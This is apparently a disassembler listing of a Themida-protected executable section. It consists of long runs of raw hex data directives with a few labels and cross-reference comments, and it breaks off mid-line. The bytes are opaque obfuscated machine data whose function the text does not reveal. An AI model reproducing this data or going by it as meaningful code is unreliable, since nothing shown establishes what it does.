8958C358h, 81042444h, 17042444h, 40000000h, 3437C350h dd 5296EAEFh, 5FFE8B66h, 0DE850h, 4B550000h, 0B4972C7Ah dd 0F2E02A5Eh, 66A08A25h, 5BE2C4BBh, 119D0196h, 8B060733h dd 70F8DBDh, 0DFB5FF06h, 6A060AADh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0FFF8C350h dd 72D0995h, 39BF6606h, 0C1BD83B9h, 60714h, 3F840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0DF267DC3h, 850100E2h, 6072051h, 0C236BF96h, 0BB506327h dd 536A8B4h, 7E996h, 7F850000h, 67CA456Eh, 0DFB5FF44h dd 0FF060AADh, 71F9595h, 8A1CBB06h, 0BB661C86h, 0B5FF04C8h dd 60AADDFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0AC35141h, 6BEF80C9h, 2C195FFh, 8B660607h, 65BD83D9h dd 2060728h, 8E840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 2730CC3h, 8BF13923h dd 72A459Dh, 69858B06h, 6A06070Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 7106C353h dd 48CD819Bh, 8E6B8D85h, 2C559D8Bh, 0CF810607h, 20A9D8B2h dd 6A0000C6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0C5B5C351h, 7E21B031h, 68F0Fh dd 0BD8B0000h, 6070ECDh, 2A5185C7h, 607h, 0E9F90000h, 0FFFFF298h dd 3C18BFCh db 9Dh, 0B5h, 5 byte_5834BB db 7 ; DATA XREF: Themida_:0053F524o dd 0B1858D06h, 89060718h, 7294995h, 5E85006h, 7000000h dd 934341A0h, 5FFA8B66h, 6A240489h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 8425C353h dd 6A006A7Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0EBAEC355h, 11E947h, 6DAF0000h dd 569CA831h, 0BC5DA64Dh, 6CB2A909h, 6A4DC077h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 78E59EB0h, 40A765Fh, 99D8B07h, 8D060703h, 0B6F2A85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0D7D639AEh, 8D958957h, 8306071Eh, 6A05C0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 62FF12C3h, 8E8D5D1h, 4000000h, 82E4B04Eh, 0F9CFF2Ch dd 682h, 0C59D8B00h, 5F06070Dh, 66D38166h, 0FE89095h, 35000000h dd 8EEFD8E8h, 63558000h, 0E999D493h, 8CBBB05Bh, 5B026B7Ah dd 0BF0F9050h, 0F006ADBh, 0B86h, 58C0F00h, 0BB000000h dd 5018BF73h, 2B5D9D89h, 6A0607h, 95FFF98Ah, 6071E3Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0BAC35646h dd 83E112D6h, 691B509h, 8D8D0607h, 60A93D5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 93C35747h, 0D19D8B88h dd 0FF060729h, 9EA8BBD1h, 9D8B4CCFh, 6071A6Dh, 19BDBD83h dd 0F010607h, 7485h, 12E800h, 0E5480000h, 4F88EF62h, 924703BCh dd 7AB77EB7h, 81C01BF0h, 21259D8Bh, 6A5F0607h, 6E95002h dd 67000000h, 5D96E7E5h, 2404892Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 2C35242h, 4D287ABFh, 10E938h dd 6B9C0000h, 1F19F47Fh, 2A493489h, 9BAF1A11h, 0BD8B82D7h dd 60702BDh, 79195FFh, 8B660607h, 0C87E9D8h db 2 dup(0) word_5836EE dw 0E8h ; DATA XREF: Themida_:0053EE20o dd 5D000000h, 6F34ED81h, 0BF66060Bh, 8589182Ch, 6072661h dd 843F858Dh, 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0D95206C3h, 90F523A0h, 50DE8B66h dd 90D98B66h, 0D380DE8Ah, 35FF6490h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0ABC35040h dd 0A84A3ABEh, 258964h, 0E9000000h, 0Ch, 0D341107Fh, 624605CAh dd 7C659512h, 2F5985FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 9D8928C3h, 60711F5h dd 8D09FF6Ah, 6070EC5h, 1171B5FFh, 9D330607h, 60719FDh dd 2B8995FFh, 11E90607h, 0B7000001h, 8B00B06Eh, 710F99Dh dd 0BF70E606h, 3F19D57h, 0BD8B71E4h, 6070761h, 830F613Ch dd 0F0h, 0FF88B66h, 0BF66C8B6h, 6BA6CEAh, 89000000h, 70CCD85h dd 60C18B06h, 2D459D8Bh, 0FE80607h, 0BE000000h, 3F14CC0Bh dd 4D19E20Eh, 6E939D1Fh, 880F5611h, 0 dd 0E8C1615Fh, 5820F04h, 0BF000000h, 5E8107BFh, 66E2F766h dd 2BD0C0BFh, 79B589C8h, 8B06070Ch, 70A699Dh, 33D18B06h dd 726599Dh, 0CE906h, 880F0000h, 6, 284D9D8Bh, 858B0607h dd 60703C5h, 0BE9h, 546E8C00h, 1CEEC6F8h, 92DA1C8Dh, 5499529h dd 0C0830607h, 8DE38007h, 900C083h, 701F98Dh, 0FD03B06h dd 0A83h, 42E900h, 81660000h, 8BB693D7h, 70C418Dh, 0F5BD3106h dd 83060718h, 840F01E1h, 28h, 1C49E781h, 0A58308ACh, 6070C41h dd 950B60FEh, 6072B25h, 61F9BF0Fh, 3C59589h, 81660607h dd 0E9CB13EBh, 0 dd 0E8CAB58Dh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 495B50C3h, 6810F60h, 0F000000h dd 8Eh, 2D8D8900h, 61060705h, 95FF006Ah, 6070D69h, 2EFDC381h dd 7B91C09h, 6A000008h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0DF29C352h, 24CFDFBFh dd 0FCE18370h, 0FC3BF780h, 0B8FA8B66h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B3C35141h dd 5E13C8Eh, 131E94EBh, 81BD8BD3h, 8B060706h, 719459Dh dd 0BA06h, 0BD8B0000h, 6072D35h, 3860Fh, 0C3800000h, 0C233AD1Eh dd 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 5B9C1B5Ch dd 897BCBA5h, 722518Dh, 9D78106h, 6A356692h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 1485C357h, 1EEBF7F6h, 0EEB9D738h, 46DAF381h, 880D4A92h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0E211C353h, 1B9D17B2h, 0FB8B66FFh dd 1AD9958Bh, 65B30607h, 8BFE8B66h, 7101D8Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 50768216h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0E511EF21h, 9D6ACCE1h, 0BD89D88Bh, 607292Dh dd 0E29BD83h, 0F000607h, 1E84h, 4C16BB00h, 0B823F7h, 81000000h dd 99A46CC7h, 9B8D8D4Bh, 8B06074Bh, 7222D9Dh, 83E1FF06h dd 73305BDh, 840F0006h, 3A2h, 831B501h, 0BD830607h, 6073305h dd 0AA840F01h, 89000003h, 722398Dh, 5BD8306h, 3060733h dd 361860Fh, 0BD8B0000h, 6071265h, 0C3BB6660h, 0BDBD8BA9h dd 6606072Ah, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 6E8D06C3h, 95387EBh, 72D8DBDh, 10E906h dd 0A23D0000h, 0B7418C3Fh, 160A18E7h, 8F3DE6F4h, 6E98D30h dd 0B5000000h, 5BEF0B0Fh, 4E1808Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 6BC35545h, 299D8B72h, 6606072Ch dd 6BA2F381h, 840FC90Ah, 0F1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 55C35545h, 1D858BF8h, 0E906072Ah dd 10h, 0DA0F1E18h, 0B9DD3A83h, 52D90494h, 0A2DA8C02h dd 0C8C0Fh, 7E90000h, 0AC000000h, 570C5FCEh, 8533F7EFh dd 6071AFDh, 10B9B589h, 0BF500607h, 2BDFF8E6h, 8B240489h dd 7048D9Dh, 0BF006A06h, 786AA17Bh, 4C3CB268h, 81DA8B59h dd 3F4D2434h, 0BB665953h, 0BD2B7C6Ah, 6070835h, 9F995FFh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0DEDE62C3h, 66ACFA62h, 8501F2B7h, 60712C1h dd 0ADDF8589h, 9D01060Ah, 6072C5Dh, 1B3E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 9B242116h, 6E981B7h, 0F8000000h, 4533ACFDh, 0D7858BFDh dd 0E9060AADh, 0Bh, 0A55DF92Dh, 4A14B95Dh, 0C73A2E62h dd 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0DB5D7F4Ah, 0BD89C9F5h, 607206Dh dd 0ADDBB58Bh, 0F60060Ah, 0FC52FABFh, 858B615Eh, 6072BCDh dd 6A0689F5h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 8BE2C352h, 71E29BDh, 6E906h, 3F4F0000h dd 904B9B53h, 2A1D858Bh, 0B70F0607h, 44689D9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6CC35545h, 62C8BB46h dd 80A1E834h, 0E950B1D3h, 0Ch, 3EA26276h, 168FD1Ch, 86A21A52h dd 6A243489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0A0DCC350h, 0B5FF1BCCh, 60AADD7h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EFC35242h dd 0E05416AAh, 0E0CE3468h, 81DF8B83h, 35CB2404h, 0B5897C3Eh dd 60710FDh, 0ADDF858Dh, 6A060Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0A3A4A8C3h, 0D0F10B29h dd 5092C93Dh, 0C434BB66h, 8B240489h, 70FCDBDh, 0F995FF06h dd 6A060709h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0CE80C350h, 0E1DBBB66h, 1D9D8B61h dd 0C7060729h, 7330585h, 306h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 2D03C2F4h dd 0B14E6724h, 1FBF6634h, 0DFBD8361h, 60AADh, 15840Fh dd 0F510000h, 0E95FFEBFh, 26h, 22E59501h, 0ACBB0607h, 50783A6Ah dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0B320ABC3h, 7E9A314Fh, 0BE86051h, 67000000h dd 1BEA1530h, 0DA0BDC52h, 0F5B9D57h, 89h, 6A5F6100h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 8F16C350h, 0BD83DE8Bh, 6073305h, 26850F03h, 0BB000004h dd 1A6B417Bh, 0ADDFBD83h, 0F00060Ah, 41484h, 0DFB5FF00h dd 0E9060AADh, 10h, 62A5A04Bh, 20EE422Fh, 0F71171DCh, 0F48C641Ch dd 212995FFh, 0F9600607h, 209D9D8Bh, 8B610607h, 0AADD3B5h dd 89858906h, 0C7060701h, 1000106h, 68F0F00h, 81000000h dd 0EFDDADC7h, 0FE8B9673h, 96D98B50h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 5EC35646h, 0D1B38166h, 0ADDFB5FFh dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 2AEBD3C3h, 0FFF563EBh, 7025195h, 68E0F06h dd 89000000h, 72161B5h, 0D3B58B06h, 8B060AADh, 712A185h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 9D9E585Ah, 0BDE20A1Ch, 9D89D465h, 60720A5h dd 0E3EF8166h, 0C48689F2h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 2636C357h dd 8E3E682h, 0EF816AD0h, 67EF271Ah, 1AD9958Bh, 6A0607h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 42106AC3h, 6DB529B9h, 8306071Fh, 13E804C2h, 26000000h dd 2E599ACAh, 0CA7C70A7h, 597D3108h, 635C1C8Fh, 9D8B4B48h dd 60710A5h, 0B589605Bh, 6071F35h, 8B27B560h, 727F5BDh dd 89616106h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 9A6C2C3h, 72D1185h, 70858D06h, 6A060AC1h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 2D43C357h, 9E97F64h, 0E6000000h, 0BD9B4DDDh dd 0C1833724h, 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0AEB3D1C3h, 7AAE3508h dd 5E8h, 6A882400h, 0FB8BB6C1h, 0BF006A5Fh, 76365181h dd 39CB8166h, 0DFB5FF81h, 66060AADh, 95FFDE8Bh, 6070791h dd 2B5D9D8Bh, 66960607h, 501E24BBh, 4890Fh, 0BB660000h dd 6A96A949h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 70DFC355h, 7CFFCC44h, 0AE9CBh, 4C30000h dd 0A6C17A5Eh, 0E0DB6259h, 0ADDFB5FFh, 6A060Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 150F5FC3h, 82C5ACAFh, 995FF03h, 6A06072Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0DE94C355h, 1DA46258h, 0C159D8Bh, 56BF0607h, 836A2FA2h dd 714C1BDh, 840F0006h, 52h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0F2C35545h, 108F0FE8h, 0E9000000h dd 0Bh, 0FF4786ABh, 0F2692041h, 96F47834h, 14E9h, 0DB3C0800h dd 0F7736F4Ah, 29D59F3Eh, 0AC9FFF25h, 0E280F755h, 8B66500Bh dd 0B5FF96F8h, 60AADDFh, 0DF17EB81h, 95FF7654h, 6071F95h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C0C35141h dd 0ECF7E1BEh, 98D0Fh, 31600000h, 7222D85h, 0FF61F506h dd 0AADDFB5h, 0FFBF0F06h, 2C195FFh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0CAF71FC3h dd 33BDF8B1h, 9BFE7E4h, 713218Dh, 83FD8A06h, 72865BDh dd 840F0206h, 5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0BAC35343h, 5890F45h, 66000000h, 0F59DE781h dd 0E69858Bh, 0CF810607h, 49EBFEA3h, 6A0000C6h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 6611C353h, 8984A682h, 70A7D85h, 5185C706h, 6072Ah, 89000000h dd 70CC5BDh, 0F46EE906h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0CDB8D2C3h, 6AC18BF9h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 134C355h, 70E3595h db 6 byte_584375 db 8Dh, 85h, 0B1h ; DATA XREF: Themida_:0053E87Co ; Themida_:0053EA50o dd 6A060718h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 2A43C357h, 90FB8B53h, 6A9050h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BF0F32C3h, 6D9D89DAh, 6A060710h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 63CB4D0Dh dd 0F87ABDE9h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 858DEAC3h, 60B7DC4h, 1E85B589h dd 0C0830607h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0A3BB6F42h, 905DDDB6h dd 0FE8h, 0BF040200h, 6D09E8CCh, 852AF1Bh, 0BCFB43A9h dd 5BDA8B66h, 90D98B50h, 0ACF78166h, 0F006A03h, 8166DABFh dd 6A1ABADFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0F986F04Fh, 1E3D95FFh, 13E80607h dd 5D000000h, 0CA1999E4h, 1DE2AA83h, 54B78827h, 7D49A113h dd 8D5BAA61h, 0A93D58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0E9481D1Dh, 0Fh, 7DA318C6h dd 0B6D26F43h, 8849124Eh, 0FF448599h, 97C780D1h, 12E9h dd 0FD0BF500h, 0CA4AECCDh, 0E6CFB416h, 22A8A756h, 830A9FADh dd 719BDBDh, 850F0106h, 7Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0C7C35040h, 0F5979ED2h, 6AFABF0Fh dd 6860F02h, 8B000000h, 72E6DBDh, 8B665006h, 240489DEh dd 0D8E0Fh, 8E90000h, 36000000h, 359C9D1Eh, 8982F52Ah dd 7121995h, 9195FF06h, 6A060707h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6DF1C355h dd 0C9033E93h, 66A73228h, 0E9001CBBh, 0EC5h, 0E8h, 0ED815D00h dd 60B7DCEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 2DC35747h, 0CE633A61h, 31371244h, 2559531h, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 4B396DC3h, 8D887CCEh, 0A843F85h, 0FFE8A06h, 0E990DFBFh dd 0Bh, 0AAE69B80h, 0A85A3BD7h, 50106B7Fh, 0CF8B6660h dd 9061F38Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0CDC35343h, 91BD8BE2h, 64060705h, 35FFh, 89640000h dd 25h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0D8E2C7C5h, 9589FD09h, 6070B71h dd 32D5B589h, 81660607h, 0FF4218E3h, 72F5985h, 0B5295106h dd 6070E61h, 6AFF6A5Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0F9A7C350h, 0CADF3E37h dd 2051B509h, 0B5FF0607h, 6070859h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 86C35141h, 1B4108FAh, 10E8h dd 9CA32900h, 0EDAF7C43h, 0B45EB6E2h, 31B9E0B7h, 605BF9DCh dd 0EE98D09h, 85230607h, 6072CBDh, 8995FF61h, 0E906072Bh dd 15Fh, 0B0DE8Bh, 0F299D8Bh, 70E60607h, 5800Fh, 0F8BF0000h dd 0E45B1D12h, 37BF6671h, 0F613C5Fh, 13A83h, 659D2B00h dd 0F06070Ah, 11E9C8B6h, 81000000h, 9E48A038h, 83EF68Dh dd 3DA8E825h, 0CB1C6C51h, 0AE9h, 26034D00h, 967836F5h dd 0BA1A2A58h, 6, 169B589h, 9D010607h, 6072FE5h, 8D29C18Bh dd 60718E1h, 0F04E8C1h, 481h, 0DA8B5200h, 0E2F7665Bh, 2A219D8Bh dd 0C82B0607h, 8BF8BF0Fh, 9E960D1h, 68000000h, 0AA2B65Eh dd 870D8088h, 0DF8B6650h, 7E9615Bh, 0F8000000h, 6D40D781h dd 858B1119h, 6071FD5h, 79F5EB81h, 0C0836963h, 459D2307h dd 83060713h, 0CE800C0h, 0FE000000h, 8CA502D5h, 0AE505547h dd 0E9FF7E2Fh, 0Ah, 0A1C70A4Bh, 89F46FB5h, 3B5BC8C3h, 11830FD0h dd 81000000h, 1C09ACE7h, 0BDB53146h, 0E9060722h, 63h, 1EE58D8Bh dd 0FE80607h, 1F000000h, 27C57BD0h, 0B91FC9E0h, 1253E8E6h dd 0B70F195Ch, 0E1835FF8h, 3C840F01h, 8B000000h, 73251BDh dd 0E5A58306h, 0FE06071Eh, 1C800Fh, 12E80000h, 90000000h dd 83DBA38Eh, 0BE032505h, 0C1D975C2h, 0B500C90Bh, 0AABB66F8h dd 95895F6Eh, 6071FD5h, 0E9D88Bh, 8D000000h, 0AF30CB5h dd 0C820F06h, 0F000000h, 686h, 850F00h, 6A000000h, 0DEBF0F00h dd 0D6995FFh, 9D310607h, 6073329h, 81BB9h, 83C9B300h, 0BF0FFCE1h dd 0BF0FFCFFh, 20BF66FAh, 89C02B34h, 72B9D9Dh, 0BA06h dd 0BB660000h, 33AD85C9h, 3E8D1C2h, 4E983D0h, 0BF66F475h dd 8166447Ch, 0F50603D7h, 880Dh, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0F0AE0B70h dd 0F88B662Fh, 8BFB8B66h, 71AD995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 71E824A0h dd 0D8BF66A5h, 0C8E0F6Ah, 0F000000h, 689h, 0C9BD8B00h dd 8B06071Ah, 7101D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0C16C64FCh, 56D3BA0h dd 625CBF66h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 2126E7C3h, 8C2FCC94h, 0FA95FD1h, 48Dh, 0A9BF6600h dd 11E961h, 0E8DF0000h, 0CA353CA2h, 841F3E77h, 87A39A34h dd 6AC2D7DBh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 7FD7C351h, 0F88B6680h, 1525BD03h dd 0BD830607h, 6070E29h, 98840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0B842C356h, 0 dd 1853152h, 5B06071Eh, 4B9B8D8Dh, 6A0607h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0D6FBCDC3h dd 0F7BFB5F1h, 12C59D89h, 0E1FF0607h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 75C35646h, 0DA76AFFFh, 0DE860h dd 76DB0000h, 0EF37607Eh, 7CEEE6D7h, 668621A8h, 5AE952BEh dd 30D9589h, 83610607h, 73305BDh, 840F0006h, 497h, 19F5BD8Bh dd 0BD830607h, 6073305h, 9F840F01h, 31000004h, 72221B5h dd 5BD8306h, 3060733h, 456860Fh, 0BD890000h, 6072D1Dh dd 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 719D8910h, 8B06070Eh, 702A59Dh, 0CB816606h dd 8C665FB3h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 896DD7FCh, 72BC98Dh, 4E18006h, 0B3C78166h dd 0FC90A3Ah, 15D84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 6F4C1E57h, 858B7FE5h dd 6072A1Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 59C35040h, 0EFF0E32h, 757FF2A2h, 1AFD8533h, 8B660607h dd 0DE8B90FEh, 830F6050h, 2, 0BE9FB8Bh, 17000000h, 72A28EE1h dd 85B2F8B0h, 906175EFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 41C35646h, 6522F0EBh, 6AC0CF80h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0E8F5F839h, 11h, 9625963Fh, 2AC19683h, 0CAAC9E59h, 0E867AE58h dd 8D8957DAh, 6072155h, 0BD8B5F5Bh, 6072A79h, 28010268h dd 8D0F8Fh, 81000000h, 2FD2404h, 6A70F7h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 7B39BDC3h dd 0F8F0B760h, 0FD858961h, 0FF06072Ch, 709F995h, 2D8D2906h dd 89060730h, 0AADDF85h, 0BF666006h, 8D31DC94h, 6072235h dd 1FCE961h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 76EDBBC3h, 29F3BF88h, 858B69F6h dd 60AADD7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0AAC35646h, 73ABE989h, 2B719D03h, 0C70607h, 18h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0A1C35040h dd 1D1732B8h, 0ADDBB58Bh, 6A060Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0A5E59DC3h, 0FC8447D5h dd 2BCD858Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 6FBFDDC3h, 10E901DEh, 4B000000h dd 0CC039320h, 609ADBECh, 0B8E31673h, 8B097B14h, 8B0689D9h dd 730559Dh, 1D858B06h, 6A06072Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0D1F3C357h dd 10DD5BF4h, 4665B79Fh, 6810Fh, 95890000h, 6070911h, 0E9044689h dd 11h, 49F9312Ch, 0A7B781A5h, 6AFCF73h, 13CA892Dh, 3DBD8BDFh dd 5006070Ch, 3489D88Bh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0E99386EFh, 6697A0CDh dd 0FF1CC6BBh, 0AADD7B5h, 7E906h, 3C160000h, 39832FA9h dd 0EEC76811h, 0F6040BDh, 28Fh, 666DB200h, 61E214BBh, 38243481h dd 3340A2EDh, 71FDD9Dh, 0DF858D06h, 57060AADh, 505FD98Bh dd 0DA8B6660h, 0EE8h, 5714800h, 0F83FEEFBh, 4B3878Bh, 0FC867CEh dd 84h, 89615B00h, 9D8B2404h, 60707D5h, 9F995FFh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 89B0B2C3h, 73029B5h, 0DEBF0F06h, 21659509h, 6A610607h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0E9A7C350h, 924586C9h, 0ED3E55BDh, 330585C7h dd 30607h, 26B30000h, 0ADDFBD83h, 0F00060Ah, 7784h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E8D6CFA4h, 0Fh, 2CD6ECF9h, 0E68870F3h, 0D2B3D5C9h dd 0E994F932h, 9, 9F51B23h, 0A22EDA90h, 8D895FD2h, 6070BE1h dd 46E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 62AFABC5h, 45B2B821h, 0BD299B06h dd 60714A9h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 0E8C08B00h db 7, 0 word_584F4E dw 0 ; DATA XREF: ___:00436804o dd 0E0AB889Bh, 0E9E44C6Dh, 0Eh, 0E723F0D2h, 0DDEC6EB4h dd 4EFBA50Bh, 6A5FD2FDh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 7924C350h, 2EA8A3D5h dd 10E94840h, 0D4000000h, 0F11EC2B1h, 21D5874Dh, 0E19C0929h dd 836AF1E5h, 73305BDh, 850F0306h, 445h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 3FC35141h, 0F4EC9734h dd 0F071AD74h, 35BD0360h, 0E8060703h, 0Dh, 0E8A9AFD8h dd 0DFF5B9DCh, 0F08D8FBh, 860F24h, 5B000000h, 0DFBD8361h dd 60AADh, 3F3840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0BC564DC3h, 1A016058h dd 0ADDFB5FFh, 0BF66060Ah, 95FF9CF2h, 